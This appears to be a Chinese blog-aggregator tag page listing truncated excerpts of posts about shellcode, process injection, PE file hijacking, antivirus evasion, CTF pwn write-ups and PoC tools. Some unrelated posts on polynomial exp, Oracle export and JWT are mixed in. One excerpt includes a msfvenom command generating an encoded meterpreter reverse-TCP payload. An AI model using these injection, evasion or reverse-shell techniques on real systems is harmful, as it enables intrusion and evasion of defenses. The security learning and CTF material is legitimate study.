shellcode payload poc exp
劫持 PE 文件：搜索空间缝隙并插入ShellCode
因近期项目需要弄一款注入型的程序，但多次尝试后发现传统的API都会被安全软件拦截，比如 CreateRemoteThread、SetWindowHookEx、APC、GetThreadContext、SetThreadContext，甚至 NtCreateThreadEx 也是如此，也有试想过用驱动... ......
Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode
Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode from：https://blog.restkhz.com/post/glance-at-shellcode-1 前言 我可能又要开一个系列文, 希望这次不要太监了.最近正在重新自学一些比较二进制 ......
mrctf2020_shellcode
mrctf2020_shellcode pwntools中shellcode使用与配置 bamuwe@qianenzhao:~$ checksec mrctf2020_shellcode [*] '/home/bamuwe/mrctf2020_shellcode' Arch: amd64-64-li ......
网络攻防技术——shellcode编写
实验5：shellcode编写实验 实验内容： shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode，但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的 ......
多项式exp/牛顿迭代
牛顿迭代解决的是这样一个问题：已知 \(g(f(x))\equiv 0\pmod {x^n}\) 与 \(g(x)\)，求 模 \(x^n\) 意义下的 \(f(x)\) 这个问题可以用倍增的方式解决。首先假设你知道了 \(g(f(x))=0\) 的常数项（一般都能很方便的知道）。 然后，我们假设 ......
re | 通过C语言编写shellcode(vc6)
re | 通过C语言编写shellcode(vc6) 接上一篇博客：https://www.cnblogs.com/Mz1-rc/p/17923224.html 对上文中代码进行修改，不使用全局字符串，不使用外部函数调用，关闭/GZ编译选项（栈检查）： #include <stdio.h> #inc ......
[Bash] Send post request with payload to server by using curl
#!/bin/bash # url will be a param been passed in url=$1 curl -X POST http://localhost:3000/endpoint -d "{\"payload\":\"$url\"}" -H "content-type: appl ......
C++ 邮件槽ShellCode跨进程传输
在计算机安全领域，进程间通信（IPC）一直是一个备受关注的话题。在本文中，我们将探讨如何使用Windows邮件槽（Mailslot）实现ShellCode的跨进程传输。邮件槽提供了一种简单而有效的单向通信机制，使得任何进程都能够成为邮件槽服务器，并通过`UDP`通信向其他进程发送数据。邮件槽是Win... ......
C++ 共享内存ShellCode跨进程传输
在计算机安全领域，ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度，研究人员经常探索新的传递`ShellCode`的方式。本文介绍了一种使用共享内存的方法，通过该方法，两个本地进程可以相互传递ShellCode，从而实现一种巧妙的本地传输手段。如果你问我为何在本地了... ......
探索C语言中的Shellcode从提取到执行
ShellCode是一种独立于应用程序的机器代码，通常用于实现特定任务，如执行远程命令、注入恶意软件或利用系统漏洞。在网络安全领域，研究Shellcode是理解恶意软件和提高系统安全性的关键一环。本文将深入探讨如何在C语言中提取Shellcode，并通过XOR加密技术增加其混淆程度。最后，我们将演示... ......
【pwn】shellcode revenge --0~9，A~Z字符的shellcode
查一下保护 拖进ida看主要逻辑 这里的代码逻辑为mmap开辟一段有执行的地址，可以写入shellcode，但这次写入的shellcode有限制 if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 ) break;这里的限制shellcode的十六 ......
JWT生成的token——中间部分Payload的坑
JWT进行token认证应该都用过，标准的加密（Base64 编码）后的token是这样的三段式的：eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiaWQiOiIxMjM0NTY3ODkwIiwiZXhwIjoxNjA1MDAxNzQyLCJpYXQ ......
(exp)/1 用 `\1` 对分组(exp)进行捕获
关于正则表达式，下列说法正确的是： A \w用来匹配数字 B /a?/表示匹配0到多个a C i修饰符表示忽略大小写 D 1表示对第一个捕获组的引用 正确答案：C \w匹配字母数字或下划线； ?匹配0个或1个； \1表示对第一个捕获组的引用； 1、\w表示字母、数字、下划线 \W表示除了字母、数字下 ......
浅尝poc编写工具+漏洞验证xpoc
Xpoc 是长亭发布的 poc 扫描工具，其默认自带 406 个 POC 规则，覆盖国内常见的应用系统和历史危害比较高的漏洞，通过命令可以自动更新远程 POC 到本地，使用也比较方便，在公开重大漏洞的时候，更新还是比较快的 ......
shellcode混淆加密(二)
这篇笔记其实不光是加密的东西，还有学习到的各种免杀的小技巧，关于XOR的部分已经实现了一个小工具，可以看https://www.cnblogs.com/fdxsec/p/17809606.html，这里就不再写了。 ......
【pwn】[HGAME 2023 week1]simple_shellcode --orw利用攻击
先查看程序的保护状态 可以看到，保护全开，拖进ida看主函数的逻辑 可以看到有个mmap函数： mmap() 函数是Unix和类Unix操作系统中的一个系统调用，用于在进程的地址空间中映射文件或者其它对象。这样做的好处是可以让文件直接映射到内存中，从而避免了频繁的文件 I/O 操作，提高了文件的读取 ......
The art of shellcode
目录1-如何编写shellcode1-1 纯手搓1-1-1 纯汇编1-1-2 内联汇编1-1-3 使用tiny_libc1-2 借助工具1-2-1 pwntools的shellcraft1-2-2 alpha31-2-3 AE641-2-4 shellcode encoder1-2-5 msf生成1 ......
sniperoj-pwn100-shellcode-x86-64
来源 本题来自ctfi-wiki，是基本ROP中shellcode的一道例题 查看保护 程序只开启了位置无关保护 PIE 并且有可写可执行的段 反汇编 发现程序中直接输出了buf的地址，所以PIE就不起作用了 可以看到，后面read函数还调用了buf，很显然就是要利用buf这个段了 然后在汇编代码发 ......
渗透中 PoC、Exp、Payload、RCE、IOC，Shellcode 的区别
PoC: 全称“Proof of Concept”，中文“概念验证”，常指 段漏洞证明的代码。 Exp: 全称“Exploit”，中文“利用”，指利用系统漏洞进行攻击的动作作。 Payload: 中文“有效载荷”，指成功 exploit 之后，真正在目标系统执行的代码或指令 RCE: RCE(rem ......
python实现shellcode异或加密自动化
实现的结果如下： 1.python脚本里面xor key随机生成 长度16位 2.加密后的payload和key直接写入到模板里面 3.编译 使用gcc编译 每次输出文件名随机 完成一个自动化过程 用法 python main.py shellcode.bin 其中shellcode.bin是自己的 ......
小景的Dba之路--Oracle用exp导出dmp文件很慢
小景最近在系统压测相关的工作，其中涉及了Oracle数据库相关的知识，之前考的OCP证书也在此地起了作用。今天的问题是：Oracle用exp导出dmp文件很慢，究竟是什么原因，具体的解决方案都有哪些呢？ 下面我逐一来说下，首先列举了一些常见的原因： 1. 数据量大：如果你要导出的数据库包含大量数据， ......
python加载shellcode免杀
1、第一个shellcode加载器 import ctypes # msf生成的shellcode，命令：msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lp ......
arm32_shellcode
arm32_shellcode 题目文件 build.sh #!/bin/bash arm-linux-gnueabi-gcc -g -static -Iinclude -o chal chal.c libcapstone.a chal.c #include <stdio.h> #include < ......
exp本地不通远程通的问题
title: exp本地不通远程通的问题 date: 2023-09-26 02:35:50 tags: typora-root-url: ./exp本地不通远程通的问题 今天看一个ret2text的题目的时候，遇到了exp本地不通，远程通的奇怪问题，题目是这样的 有个backdoor函数是这样的 ......
Python 的 POC（Proof of Concept，概念验证）
Python 的 POC（Proof of Concept，概念验证） requests 当涉及到编写 Python 的 POC（Proof of Concept，概念验证）时，你可以按照以下步骤进行： 确认目标：明确你要验证的漏洞或要探测的系统。 寻找漏洞或系统的相关信息：查找关于该漏洞或系统的文 ......
.NET 序列化生成 JavaScriptSerializer Poc
dot.NET安全矩阵星球群有位师傅问起如何才能生成和ysoserial一样的JavaScriptSerializer序列化poc，同Json.NET一样序列化使用了ObjectDataProvider类，ObjectInstance属性绑定实例化的Process对象，这里没有使用MethodPar ......
1.14 手工插入ShellCode反弹
PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等，本次的目标是手工修改或增加节区，并给特定可执行程序插入一段`S... ......
MIT 18.06 线性代数 - 23微分方程,exp(At)
# 微分方程和$e^{At}$ ## 微分方程$\frac{\mathrm{d}u}{\mathrm{d}t}=Au$ 本讲主要讲解解一阶方程（first-order system）一阶导数（first derivative）常系数（constant coefficient）线性方程，上一讲介绍了如 ......
1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用`Metasploit`这个渗透工具生成`ShellCode`以及如何将ShellCode注入到特定进程内，本章我们将自己实现一个正向`ShellCode`Shell，当进程被注入后，则我们可以通过利用NC等工具连接到被注入进程内，并以对方的权限及身份执行命令... ......